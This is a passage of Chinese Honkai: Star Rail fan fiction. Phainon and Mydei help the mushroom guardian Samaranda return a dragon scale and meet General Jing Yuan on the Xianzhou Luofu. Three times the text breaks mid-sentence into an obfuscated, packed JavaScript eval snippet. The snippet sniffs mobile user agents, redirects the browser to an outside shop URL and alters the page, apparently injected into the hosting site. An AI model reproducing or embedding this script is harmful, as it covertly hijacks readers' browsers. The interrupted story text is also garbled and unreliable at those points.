“你能不能把你的多愁善感和礼貌客套收一收,”万敌瞪了他一眼,“我实在不擅长维护你玻璃一样脆弱的心灵。” 白厄摇摇头,笑了笑。 “我尽量。”他说。 “居然没否认,这可真不像你的性格。”万敌也笑了一声,没再说什么。 与此同时,阿卡索尔提交的报告终于得到了回应。 “摄像头没批。”他愁眉苦脸地说。 “公司已经穷到连低值易耗品都要克扣了?”谢尔微不可置信地瞪大了眼睛。 “是,”阿卡索尔说,“战略投资部那边的领导说要降本增效。” “降本增效降到摄像头上了?” “因为这是咱们这趟旅程坏掉的第八个摄像头了,”阿卡索尔翻了翻记录,“公司那边的意见是即使是低值易耗品,更换频率也实在太频繁,建议我们完成这趟航线之后去分公司述职,现场报告这八个摄像头的去处,以避免职业侵占和贪污的可能性。” 格莱:“……” “你说这趟行程真是邪了门了,怎么是人是鬼都盯着我们的摄像头打。”他哀嚎一声,很快接受了现实。 “好吧……反正我们这趟行程也快结束了,”他愁眉苦脸,“但是为了八个摄像头去分公司述职,这可真够丢脸的。” “不过话说回来,我们部门的备品申请和战略投资部有什么关系?”谢尔微又问。 “降本增效。”阿卡索尔翻了翻文件,面无表情地棒读,“战略投资部提案今年削减各部门备品经费的5%,他们的提案被批准了,所以今年年初开始,申请备品都得先走一下战略投资部那边的流程。” “……铁公鸡。”谢尔微忿忿。 45. 刻法勒永志不忘 向万敌和白厄告别后,遐蝶和波吕茜亚踏着清晨的雨离开了方跃星,遐蝶最近的行程实在有点满,过两天在附近的伽德星系还有场文化交流活动,而波吕茜亚跟着姐姐到处转悠,看什么都好奇。遐蝶万分抱歉地表示等完全闲下来之后一定找个时间好好和大家聚一聚,万敌和白厄倒没觉得有什么问题,毕竟翁法罗斯刚刚升格,每个人都应该有自己新的生活,当和遐蝶告别之后,白厄问及万敌之后的行程,万敌认真地看了一眼自己的行程表。 “接下来我应该会去阿斯德纳星系的匹诺康尼转一转,”万敌说,“如果你要去罗浮仙舟的话,我们可以一起去,之后我在那里乘星槎中转,罗浮仙舟的交通要比方跃星方便不少——对了,萨玛兰妲还没来找你吗? 地面于是又冒出了个小小的鼓包。 “虽然妈妈要我来找你们,”之前的那株蘑菇探出了头,他看上去有点犹豫,“可现在还没到工作时间……” “不过这也没关系,”他又一想,地面突兀间裂开巨大的裂缝,好在白厄和万敌这次倒是早有准备,他们调整了一下姿势,相当平稳地落在了地上。 “妈妈说我应该给人类准备个楼梯,”那蘑菇小小声道,“……但是看你们的样子,我觉得好像没什么必要呢。” “不,你听我说……”白厄无力地说,试图扭转这蘑菇对于人类的怪印象,“我们其实是例外,并不是每个人类都能在十几米的高度上毫发无伤地平稳落地的……” 能救一条命是一条命,倘若真按这蘑菇马马虎虎的工作方法和方跃星上肉眼可见多起来的人类,白厄疑心自己下次再见萨玛兰妲时会先见到层层叠叠堆叠着的摔伤人类——这可太恐怖了。 “好吧……”蘑菇挠了挠头,但他似乎并没把这件事放在心上,白厄不禁为下一个要见萨玛兰妲的倒霉人类默默祈祷,熟悉的路线,熟悉的触感,当他们再次见到亮光时,萨玛兰妲已经在那里等待着他们。 “异星掌管灾厄的象征居然能在方跃星齐聚,”萨玛兰妲啧啧称奇,“当真是神奇的机缘巧合。” “他不是。”万敌立刻说。 比之形式,萨玛兰妲似乎更能看透本质,纵使背负着名为负世的火种,可一次次犯下手刃同伴的罪行,称之为掌管灾厄的半神倒也并不为过,白厄倒没介意萨玛兰妲的说法,她也没有在这个话题上继续进行下去——或多或少,在漫长的岁月中,萨玛兰妲多少也进化出了点察言观色的技能。于是她慢吞吞地拿出了一片龙鳞,又慢吞吞地说。 “现在,毁灭的令使,请你暂时‘毁灭’扶桑的生机。” “之后你会怎么样?”动手之前,白厄还是有些不放心地问道。 “放心,”萨玛兰妲说,“即使萨玛兰妲千年以来一直和‘扶桑’纠缠不清,但短时间的分离对于萨玛兰妲来说轻而易举,实际上当萨玛兰妲拿到你的金血的时候,萨玛兰妲也思考过要不要动用毁灭之力对自己动手——但胡乱使用其他命途的力量对萨玛兰妲来说实在过于冒险了,萨玛兰妲怎么样都没关系,但容易把方跃炸成一片废墟,想来想去还是物归原主让原主亲自动手比较好。令使,既然这是属于你的力量……你一定能抓住那个时机。” 白厄缓缓地举起了他的剑。 扑通,扑通,那声音仍如恒常,但白厄仔细聆听,却能发现这是两处纠缠在一起的力量,唯一的共同点只有环绕其上的诡异生机,剑身火光缭绕,他闭上眼睛,顺着那种奇异的指引,一剑刺了下去。 一声凄厉如婴啼的尖叫声响起,震得整处空间嗡嗡作响,但那声音又突然消失,仿佛有什么东西死死地掐住了祂的喉咙。 “太吵了,”萨玛兰妲轻描淡写地说,“萨玛兰妲不喜欢奇怪的声音……好了,估计祂能安静一会儿了。” 白厄自然没觉得自己控制力量一击能够击杀以生命力旺盛顽强著称的丰饶令使,但剑尖捅刺时,那股诡异的生机仍然让他有点毛骨悚然,他甚至有种感觉,他并非无法击败丰饶令使,但只要没能彻底摧毁祂,哪怕只是一处血肉,一片细胞,假以时日,都能长出全新的、旺盛存活的、新的丰饶令使。 “好奇怪的力量。”最后,他只说。 “这就是丰饶呀,令使。”萨玛兰妲倒是见怪不怪,“好了,第一个要求已经完成,现在请你们将这东西交还罗浮仙舟就好……需要萨玛兰妲给你们买车票吗?” “她似乎在奇怪的地方莫名很懂人情世故。”万敌说。 “……不用了。”白厄拒绝了这莫名贴心的蘑菇,他拿起那片持明龙尊的龙鳞,只觉虽然萨玛兰妲似乎已经处理过那东西,但那龙鳞上的丰饶力量仍然浓得让人咂舌,千年以来与丰饶令使的血肉待在一起,力量上又此消彼长——这鳞片没活过来在他们面前蹦蹦跳跳,已经是萨玛兰妲竭力压制的结果。 “我估计罗浮仙舟不会给我什么好脸色,”白厄自嘲,“一个毁灭的令使,带着满载丰饶之力的信物,去巡猎星神的地盘——他们应该不会直接赶我走吧。” “没关系,令使,如果他们赶你走,这件事也算你完成。”萨玛兰妲说,“萨玛兰妲已经不再祈祷天外的力量了,只是想……” 空间突然安静下来,过了好一阵,萨玛兰妲才再次开口。 “萨玛兰妲只是想和那位龙尊说,萨玛兰妲从未背弃和他的承诺,如承诺那般,萨玛兰妲镇压了扶桑,并未让祂再度为祸宇宙,如此,那位龙尊手下留情的恩德,萨玛兰妲也算勉强还清。” “……放心,我会尽力。”白厄说。 剑尖与“扶桑”接触的瞬间,白厄同样被动地看到了一些吉光片羽般的画面,他突然意识到一件事,萨玛兰妲并非不能离开,对于方跃星的普通蘑菇来说,“妈妈”可以是“扶桑”,也可以是萨玛兰妲,但千年以来,她仍然日复一日地守在这里,不只是为了防止方跃星的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119706|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蘑菇完全成为扶桑的延伸,也是为了千年之前的一个承诺。他“看”到小小的、初开灵智的萨玛兰妲,那时的她正流着眼泪望向对面看不清面貌的龙尊。 她问,龙尊,难道我们诞生于扶桑的力量,就一定会在未来的某天成为扶桑的爪牙?我不会,我的孩子们也不会,请不要杀死我们,作为交换,作为回报,我会用自己的一生镇压扶桑。 对面看不清面容的人似乎在笑,又似乎在叹息,他似乎思考了片刻,摇了摇头,拔下一片龙鳞,交给了萨玛兰妲。 他说,不死是沉重的负担,以吾之鳞片,助你镇压扶桑,你可以先以被镇压过的祂的力量养育你的蘑菇们,而后在漫长的岁月中找到解决的办法,仙舟前方战事紧急,吾之本意本是彻底杀死扶桑…… “但,上天有好生之德。”最后,龙尊叹息着说。 “您还会再来吗?龙尊?”彼时尚且还算年幼的萨玛兰妲又问。 “……我会。”他说。 但此后千年,那位罗浮的龙尊,再未踏足方跃星一步。 “你……” “现在公平了,令使。”萨玛兰妲淡淡地打断了白厄的话,“我看到了你的故事,你也看到了我的故事……但那边的命途行者不行,萨玛兰妲没有读取过他的记忆。” “我对探知别人的隐私不感兴趣。”万敌摇摇头。 白厄想问的问题很多,他同样能体会到萨玛兰妲的期望与悲伤,她曾经坚信那位持明龙尊会再次来到方跃星拯救他们,却不得不在一次一次的徒劳等待与“扶桑”力量的失控中自己寻找解决的办法,在漫长的岁月与长久的等待中,她不再相信有谁能够拯救她,却在一步一步将自己异变成活的封印后,仍对那句“上天有好生之德”心存感激。 “……是什么感觉?”他问萨玛兰妲。 “你也会体会到的,令使。”问题没头没尾,萨玛兰妲却听懂了,“你和萨玛兰妲一样,抗拒着某份力量,却又不得不接受,我们都会被这份力量变得越来越不像自己,直到最后异化成某种被力量改变的怪物,令使,其实没什么不好的,世间万物不过殊途同归……只是会很孤独。” “我别无选择。”白厄低声说,“我也不会后悔。” “嗯,对,不会后悔才是好品德,”萨玛兰妲轻轻地说,“那再见吧,异星的行者,行于同路的令使,感谢你们对萨玛兰妲和方跃星的帮助。” “愿地母神赐福于你们。” 说着说着,她又笑了。 “本来想这么说,听上去似乎很有威严。但方跃星的地母神是萨玛兰妲,所以萨玛兰妲决定放下那些冠冕堂皇的话,令使,萨玛兰妲赐福于你,你之后的路必有鲜花与友人相伴,你将踏上一条逆于命途的毁灭道路,你将常战常胜,你将永不孤独。” “而我将记住你的故事,萨玛兰妲。”白厄郑重地说。 “因为刻法勒永志不忘。” 46. 哪来的毁灭令使 “要不要萨玛兰妲送你一件斗篷?”他们正要离开,萨玛兰妲又叫住了他们,她的眼睛眨巴眨巴,似乎还是觉得应该帮自己的送货员解决一点肉眼可见的麻烦,“这东西应该能盖住你满身的毁灭味道……单就这事而言,你身边的命途行者行走仙舟时应该比你方便不少。” “其实我不太知道到底是满身毁灭味道去仙舟更好一点,还是满身丰饶味道去仙舟更好一点。”白厄真诚地说。 萨玛兰妲:“……” “都不太好。”万敌说。 “拿着吧。”她想了想,还是不由分说地往白厄头上一套,白厄眼前一黑,黑色的斗篷从天而降,几乎隔绝了他的全部视线,等他好不容易整理好这份从天而降的礼物,却发现身边万敌的表情变得相当微妙,萨玛兰妲左看看右看看,实在不知道人类复杂的情绪从何而来,思来想去,她只能决定把刚刚的话题继续下去。 “就算在仙舟用不到,在别的地方也许也用得到,毁灭的名声还是不太好……对了,提醒你一下,不要在外面乱用毁灭的力量,现在在这里用没关系,萨玛兰妲能隔绝一些不怀好意的视线……但在外面就不一定了。” “但我之前……同样使用过力量。”白厄有点奇怪。 “啊?”萨玛兰妲茫然地眨了眨眼,“你刚刚来到方跃星时的力量并不完全属于毁灭令使,所以没关系,只有当你的血肉重新回到你的身体,你使用力量的时候才容易被人发现——当然,即使是现在,只要你别搞出太大的动静,也不会有人太注意你……但如果你随便动用太大规模的力量的话,对于行于毁灭路上的行者而言,简直和放了个巨大的烟花并告诉别人‘嘿我在这里’没什么区别,萨玛兰妲猜想你应该不喜欢在毁灭命途上出风头……毕竟毁灭道路上的大多数人都是清醒的疯子。” “你的身体到底是怎么回事?”万敌低声问道。 “八成是公司搞的鬼。”白厄同样低声回应。 但这件事倒是不好在萨玛兰妲面前聊太多,白厄想,方跃星和公司看上去似乎无冤无仇,在萨玛兰妲面前谈论公司那些谋算简直像是某种挑拨离间,于是白厄没再说下去,只是感谢了她,又和她道了个别后,转头离开了她的洞穴。 伴随着他们的离去,洞穴中再次静默无光,良久,早已无人的空间中,才传出萨玛兰妲疑惑的喃喃自语。 “公司……星际和平公司吗?”萨玛兰妲说,“听上去好像有点耳熟……啊,萨玛兰妲想起来了。” 伴随着她的话音落下,有几个“人”缓缓地出现在她的面前,虽然单从外形上来说这些东西应该可以被勉强称之为人,但如果有真正的人类在这里仔细观察,就会发现他们早已失去作为人类的生机,这几个“人”脸色青灰,一些没有灵智的蘑菇在他们的身上肆意生长,原属于人类的双脚已经化成根须,深深地扎根在巢穴的地面里——但他们还活着。 “我的新朋友们在说关于你们的事情,你们还有印象吗?”萨玛兰妲问,但她很快想起面前的人类早已无法言语,他们虽然在某种意义上还活着,但实际早已是大团菌丝的填充物,于是她轻轻地、抱歉地笑了一声。 “啊,不好意思,萨玛兰妲忘记了,你们好像早就不会说话啦。” “不过萨玛兰妲还是想问你们一个问题……你们来的实在太早,要是你们来的晚一点,萨玛兰妲会变得更有耐心……开心吗?毕竟你们为了那份扶桑的“赐福”,那么努力地来到萨玛兰妲的面前,萨玛兰妲当然要让你们都得偿所愿呀……开心吗?” 那些人形并不能回答。 “好吧,好吧,真是可悲,萨玛兰妲的问题总是无人回应。”萨玛兰妲哀叹一声,那些人形便又消失不见,伴随着人形的消失,这里重新变得悄然无声,仿佛什么事情都未曾发生过。而此时的白厄和万敌已经坐上了通往仙舟的星际列车——环境不错,他们还叫了个包厢。 “现在可以说了吧,你的身体到底是怎么回事?”两人刚一坐定,万敌便回到了刚刚的问题上,但他看了白厄一眼,想了又想,还是忍不住又说,“你还是先把斗篷脱下来吧,这斗篷为什么偏偏是黑的?” 白厄:“……” “你说它怎么偏偏是黑的。”他有点心虚地小声嘟囔。 万敌和白厄见面这几天,皱着的眉头几乎就没展开过,白厄身上的情况在万敌看来简直是一波未平一波又起,他轻轻屈起手指敲了敲桌子,等着听听他几年未见的兄弟详细说说他到底遇见了什么。但当白厄详细地将他醒来之后的事原原本本地和万敌说了一遍后,万敌半晌没说话,白厄瞥了瞥他的神色,发现万敌似乎怒极。 ”你可别把车砸了,要赔钱的。”白厄半开玩笑。 “HKS。”万敌低声骂了一句。 “说起来我们再见面以来还真是第一次听你骂这句话,”白厄笑了一声,又很快正色,“事实上刚听到这件事的时候我同样愤怒,但公司毕竟并非一个人,它的意志也大多数时候都不是某个个体的意志,而只会是利益交杂之下的总和意志而已。所以我想,即使想要动手,总也要等到某个罪魁祸首水落石出。” “所以你选择跟着舰队继续行走?” “有一部分原因是这样,见机行事总比一无所知地误打误撞好,毕竟毁灭令使在寰宇的名头可不怎么好,如果太早又漫无目的地动手,反而容易被某些人借题发挥,那刻夏老师提醒过我,绝灭大君【卡厄斯】从在公司的野史中诞生起,无论他看上去对翁法罗斯是善意还是恶意,都会被默认为翁法罗斯的一部分,有心或是无意,【卡厄斯】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119707|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行动,都有可能被视为翁法罗斯的行动,翁法罗斯刚刚升格,我不希望它举世皆敌……何况我总觉得这事情背后处处古怪,似乎不止一股势力,倒像是两股势力的拉锯战。” “这么说来,似乎确实是这样。”短暂的愤怒后,万敌也很快冷静下来,他是意志坚定的战士,不会任由自己被情绪驱动,“以我对公司的了解来看,他们的部分高层虽然贪饕无厌,但从利益与风险比对的角度来看,他们不可能放任这样一个冒险又粗糙的计划进行……” “一种可能是他们并不把翁法罗斯当回事,翁法罗斯的反抗在他们看来只是徒劳无功,而另一种可能则是,这件事并非出自任何高层意志,而只是出自某人的自作主张,”白厄说,“而公司高层放任了这种自作主张,也许是因为他们并不知情,又或者他们认为那份给予【卡厄斯】的养料,并不足以使他完全复苏,而只能让他维持在某种能任人宰割的状态——对于公司来说,这应该不难。” “何况那东西,也许是无本的产物。” 白厄虽然仍然笑着,眼神却也冷了下来。 “他们所运送的东西,大约是我的一滴血……只是足够将我唤醒,但唤醒之后,正常状态下我应该很快就会再次陷入沉睡……他们的原计划不应该让【卡厄斯】醒来那么长时间……”说着说着,他觉得似乎有点不对。 “你那时候给我喝的是什么?”他问,“方跃星附近应该是没有任何毁灭力量存在的……毁灭能量不是能通过某种介质长期储存的东西。” “……这不重要,到了。”万敌沉默了一会儿,简短地说。 见他似乎不想回答,白厄也便按下了自己的好奇心,每个人都有自己的秘密,就算是好兄弟也不例外,他想了想还是把斗篷重新套在身上,总觉得自己在一众人中似乎更显眼了——奇装异服,白厄想。但他身边的万敌倒不算奇装异服,他没穿上衣。可还没等白厄从他的发散性思维中走出来,却看到有人已在车厢外等候,那人长身玉立,从身姿上便能看出是习武之人,但重点不在这里,重点在于这人似乎是冲着他们来的,似乎感受到了他的目光,那人堂堂正正地对上了他的眼神。 “穷观阵说今日将有贵客莅临仙舟,如此一看,二位贵客果然丰神俊朗,名不虚传。” 是不认识的人。 但,是巡猎令使,又会如此准确地出现在罗浮仙舟,刚刚还轻描淡写地提及了穷观阵…… 白厄对来人的身份已有猜测,那人眉眼含笑,眼神温和,他看上去似乎真的只是个来为朋友接风洗尘的普通人。 ”仙舟有句古话,有朋自远方来,不亦乐乎,两位远道而来,我有嘉宾,自应以礼相待,为两位接风洗尘,以示我罗浮待客之道。” “罗浮云骑将军,景元。” 47. 建议罗浮仙舟加强出版物管理 白厄站在那里没动。 毁灭令使在寰宇间的名声何止是差,简直是差到没边,对此,白厄早有心理准备,好在他此次前来仙舟的主要目的只是为萨玛兰妲交还东西,并没有一定要到仙舟上转一转的想法,此时前来的人如果真如他所说是罗浮将军,想来他将东西交托,便可以打道回府了。 “我并不想挑起争端,”他说,“只是受人之托,想要将曾属于仙舟上某位龙尊的东西交还,如果将军可以代劳或是找人代劳,我可以立刻离开仙舟。” “阁下误会了,”景元和善笑道,“正如我刚刚所说,有朋自远方来,不亦乐乎,既然阁下来得堂堂正正,罗浮的待客之道中也就没有驱赶朋友这一条……既然这样,不如我将话讲得更直白一点。” 白厄早就注意到车厢除了他和万敌早已空无一人,他和万敌对视一眼,彼此心里都算有底,哪怕最糟糕的情况,他们与这位将军也并非没有一战之力,只是对方占据主场优势,若非万不得已,他也并不想走到这一步,景元看了他们一眼,仿佛没注意到他们的眼神。 “穷观阵早在两天前便推断出两位阁下的到访,当我们卜算吉凶时,卦象为吉——符卿当时甚至怀疑穷观阵卜测有误,一位不请自来的毁灭令使和一位不请自来的巡海游侠,怎么看都不像是吉象,更何况毁灭令使与巡海游侠间宿仇未了,怎么可能一路和平地抵达罗浮仙舟,故而我稍许猜测了一下这奇怪的卦象,现在看来,是我猜的不错了。” “两位也许不认识我,但两位也许熟知我们共同的朋友——星穹列车的开拓者。” “搭档怎么谁都认识?”白厄小声问道。 “交友广泛。”万敌说。 “有了猜测之后,我便去询问了那位开拓者,毕竟两位——不瞒两位说,之前罗浮仙舟虽然与翁法罗斯有过一面之缘,可这般与翁法罗斯的诸位见面的机会并不多,谨慎些总没过错,可星穹列车和开拓者的人品,景元总是信得过的,于是我提前问了一下那位开拓者,他愿以性命担保你的人品,由此,我才敢邀请诸位与我同游仙舟——也请二位稍作体谅,毕竟作为罗浮将军,纵使我信得过二位的人品,也总要对民众有个交代不是?” “搭档……开拓者他是怎么说的?”白厄心绪复杂,半晌才问道。 得知有人愿以性命担保自己的人品,即使这个人是开拓者,白厄也觉得震惊又感动,但他想想搭档的言语习惯,实在不敢相信他能说出这么郑重的话语。 景元波澜不惊的脸上第一次泛起一点无奈的苦笑。 “阁下想听的是更文雅的版本,还是……?” “我想听原话。”白厄说。 “好,”景元说,“开拓者的原话是这样的。” “如果真的是白厄和万敌的话,没事,请将军放心,他们都是我的伙伴,我可以以性命担保他们绝对不会对罗浮仙舟造成危害,对了将军,还有就是,我的这两个兄弟能当牛用。” 白厄:“……” 万敌:“……” “真是具有搭档特色的推荐。”白厄哭笑不得,心中的戒备倒放下了不少,即使与这位将军素昧平生,可他能看出对方所言非虚,既然这位景元将军提及开拓者,又似乎并无恶意,他倒也不介意在仙舟的行程中与之同行——也算是种互相折中又能表示友好的手段。 “对了,”景元说,“他还说你们要是来的话,他给你们定了饮品,一人一瓶鳞渊冰泉,不够可以再买,帐记在他那里就好。” 白厄和万敌对视了一眼,两人整齐划一地摇了摇头。 短短几天外星小饮料梅花三弄,再一再二绝不可再三再四,见状,景元有些奇怪地看了一眼他们俩,似乎考虑到也许是翁法罗斯的某种习俗,他倒也没再多说什么。 “刚刚白厄阁下说,来到仙舟的目的是交还龙尊的物品?”景元又问道,他重归正题,“既如此,两位可否同我一起移步神策府?毕竟若此事确与持明龙尊有关,实在不好在外交谈。” 白厄思考了一下,还是点了点头。 虽然他并不知道持明龙尊对罗浮仙舟的意义,但龙尊什么的听上去也像个高层领导人,随便找个酒巷茶肆之类的地方谈论这种半机密的话题似乎确实不太好,景元的要求也算合理,几人正往神策府走时,白厄却被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119708|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的叫卖吸引了视线。 “新到的《如我所书》,那刻夏亲笔签名,假一赔十,假一赔十啦!” “阿那克萨戈拉斯教授会在这种东西上亲笔签名嘛?”万敌哼了一声。 “不会,”白厄肯定地说,“他在树庭给我们批论文时都是直接盖名章的,据他说签字签太多手腕会痛。” “那这又是哪来的?”万敌拿起一本书,只见扉页清清楚楚地、歪歪扭扭地签了那刻夏三个字——用的还是仙舟文,他不由得心生疑惑,追问道。 “那刻夏亲笔签名?” “对啊,”那人点了点头,“千真万确,倒是作假不得的,两位贵客看衣着打扮不像本地人,我这里还有仙舟地……将将将将将军!” 他一抬头,吓得差点魂飞魄散,天时地利人和,今天算是一个没占——哪来的将军呢,他想。 景元咳了一声。 “怎么回事?”他温和又威严地问,“亲笔签名?” 那人看上去都快哭了。 “将将将将军,我姓那,名刻夏,这是我的营业执照,这是我的身份证明,我可是一句谎话没说啊将军……” 白厄:“……” “阿那克萨戈拉斯教授会气死吧。”万敌调侃。 “估计会。”白厄说,但他看了看装帧,似乎又并非盗版,另一边的“那刻夏”正苦着脸,为难地和面无表情翻着书的景元解释。 “书都是正版书,有版号的,但是最近竞争太激烈,我不得不找个噱头,将军,您看这……” “两位见笑,”景元表情不变,放下书直起身来,“我刚刚也看了一下,书的确是正版书,只是假借个名头,试图误导消费者,一会儿自然有云骑军来处理,日后仙舟也定当加强管理,不知二位意下如何?” 事情并不罕见,即使在翁法罗斯本地,同样有过这种情况发生,实际上这事定罪很难,但景元至少摆了个态度出来,白厄作为仙舟游客,自然不好再多说什么,但他想了想,突然又想到个问题。 “有没有没签名的?”他蹲下身来平视战战兢兢的“那刻夏”笑道,“我也买一本。” 48. 高情商是把我不会换成我可以学 摊贩左边看看,摊贩右边看看。 “看我干嘛?”景元奇道,“手续齐全,我不干涉正常商业行为,各位随意。” “不是,我……”“那刻夏”欲哭无泪,似乎迫于将军的威严,他最终还是苦着脸拿了本书递给了白厄。 “这位贵客……”他又试探着开口。 “嗯?”白厄疑惑。 只听“那刻夏”问得小心翼翼,看起来有点紧张。 “你会借助……嗯,某些媒介下降头吗?” “下降头?”这下白厄倒是愣了一下,“那是什么?我不会。” 景元咳了一声。 白厄实在觉得这不是什么大事,初来乍到,自己似乎当着这位仙舟将军的面吓到了人——虽然他觉得吓人的要素多半还是在景元将军身上,但对此他也有点抱歉,实际上他买书的目的只是为了看看外界对于翁法罗斯的普遍看法——毕竟大概没有谁会希望自己的隐私事迹满宇宙流传,于是他尽量摆出一副和善的样子,温和郑重地回应道。 “没关系,我可以学。” 但不知为什么,此话一出,“那刻夏”的表情更糟糕了,说是糟糕也不准确,白厄觉得他下一秒简直就要抱住景元的大腿高呼将军救我,他后知后觉地发现下降头好像不是什么好事,万敌在旁边笑了一声,随手拿起两本仙舟古典文学。 “一起结账。”他说。 “正常买卖行为不用看我,”景元再次重申,“我只是路过。” “那刻夏”心惊胆战地收了钱,战战兢兢地把书递了过去,白厄随意翻了翻那本《如我所书》。发现里面的故事已经改编到连他这个亲历者也认不出来,这故事比之翁法罗斯英雄纪,倒是和谢尔微讲的故事有点像——什么举着把大剑大喊我乃独断万古之人,吾断时间亘古长流,逆流而上,往来折返,最终堪破虚妄——真巧,这人也叫卡厄斯兰那。 “仙舟自古以来有‘为尊者讳’的传统,”景元边走边说,似乎在闲聊,又像是解释,“起先,于那场大战之后,开拓者拿来最初版的《如我所书》时,其间记载的内容比目前市面上流传的版本详实许多,细节也更能打动人心,但我仔细思考过后,还是决定和开拓者商议,将改编版本投入市场,由此,既可以达到传唱各位英雄事迹的效果,又不会过于打扰各位的正常生活。” “我那时同开拓者说,翁法罗斯既然在未来有望升格,总不好不考虑他们升格之后的生活,太详实的内容未免涉及个人隐私,倘或他们真的升格,日后这些隐私内容又于寰宇传唱,翁法罗斯人又该如何自处?也许并非所有人都喜欢将自己所有的故事公之于众,于是这个版本便成了仙舟通行本——做了一些仙舟本土化改编。” “听您的意思,您似乎很了解翁法罗斯。”白厄说。 相隔数十个星系,连跃迁都要整整半天的仙舟的掌权人似乎对翁法罗斯十分了解,白厄不得不感叹一句这位仙舟将军当真消息灵通,他也有些好奇,这位将军灵通的消息究竟从何而来——听上去倒不完全像是开拓者给的情报。 “寰宇大战铁墓时,罗浮仙舟也曾在场。”景元轻描淡写地说,“勉强算得上略尽绵薄之力。” 白厄和万敌肃然起敬。 白厄的心情再次有些复杂,景元轻描淡写的几句话,透露出的信息量却不低,虽然知道翁法罗斯并非孤军奋战,可真正见到在那场大战中愿意伸手帮助的人,感动与谢意还是一起涌了上来。 “请容许我正式道谢,景元将军。”他认真地说,万敌同样郑重地看向景元,景元见状,却只是挥了挥手,云淡风轻。 “两位何必如此郑重,”他看上去仍然淡然从容,“不过是一些琐碎闲聊,【铁墓】作为席卷寰宇的灾难,仙舟同样应当有自己的使命与担当……喏,我们到了。” 神策府内肃然无声,待他们找了个地方坐定,景元便很快切入了正题。 “听闻两位来我仙舟,是为了找持明龙尊?” “是,”白厄说,“只是为了交还他曾赠与某人的信物。” 他详细地将萨玛兰妲告诉他的故事原原本本地讲给景元,又拿出了那枚鳞片,景元默然许久,还是拿起了那片龙鳞仔细观看。 “数千年啊……”他轻声感慨。 以他的眼力,自然看得出这东西长久受丰饶力量侵蚀,却又被谁极力压制,再加之毁灭令使亲自运送,毁灭力量若有若无地压制了这东西一路,才没让它活过来现场表演一段踢踏舞。 “只是,若是她想找的是曾经的那位持明龙尊,仙舟恐怕不得不让她失望了,”景元轻声说道,他似乎陷入悠长的回忆,表情似悲似喜,“那位持明龙尊早已褪鳞转生,而以仙舟法令而言,大凡持明族褪鳞转生后,便是一个新的个体了。” 白厄的手机此时突然响了起来,打破了现场有些沉闷的气氛,没几个人知道他的通讯号码,他本来想挂断电话,景元却笑了一声。 “何必如此拘束,阁下自便。” 其实我也不知道对面是谁,白厄想,他接起电话,萨玛兰妲兴高采烈的声音在那边响起。 “令使,我要来了你的通讯号,你和那位游侠到仙舟了吗?找到持明龙尊了吗?” “我……”白厄一时语塞。 “我来解释吧,”景元淡然地说,也许是见过了太多的丰饶孽物,他对蘑菇会打电话这件事接受度相当良好,他随手接过了白厄的手机,“你好,我是罗浮仙舟现任将军,景元。” “喔……景元将军,你好,”萨玛兰妲相当礼貌,“我记得仙舟上确实有名为将军的掌权者,只是萨玛兰妲和那位龙尊见面的时候,您似乎还并不是将军呢……那位将军似乎叫……腾骁?” “千年以来,时光更迭,将军之职几经易主,最终景元忝居其位……对于你想要找的那位龙尊——他已褪鳞转生––也就是说,以仙舟标准而言,那位龙尊已经死去,故而恐怕这份信物,已然无法交还给他。” 电话那头好一阵沉默。 “他……什么时候?”许久之后,萨玛兰妲才喃喃自语,“我还以为……” 我还以为方跃星早就被他遗忘在记忆的角落,萨玛兰妲苦苦支撑时又等待那位说过“还会来到方跃星”的龙尊时,并非没有轻微的怨恨,她想为什么类人生物能如此轻易地向蘑菇承诺做不到的事情,害她怀揣希望等待千年,她曾翻开过一本童话书,在那篇故事里,有个魔鬼被装进瓶子里,为了逃出这个瓶子,他许下心愿,发誓给打开瓶子放出他的人高官厚禄,金钱无数,但在周而复始的、日复一日的无望等待中,当瓶子真正被打开,魔鬼却要杀死这打开了瓶子的人,起先萨玛兰妲无法理解,可漫长岁月更迭交替,她竟也能略微体会这魔鬼的内心——她此次前来,不过是想托人告诉那位龙尊,即使没有您,萨玛兰妲也仍然很好地保护了方跃星,萨玛兰妲已经不再需要您了——可这一切,在面前的真相面前,似乎都变得毫无意义。 她没再说下去,房间里也没人能回答她这个问题,对于白厄而言,期待已久的拯救世界的英雄在来过一次后便杳无音讯,原以为是被对方遗忘,可真相却是做出承诺的人早已离开,这件事的冲击力不可谓不大,但他也并非亲历者,实在无法做到全然的感同身受。 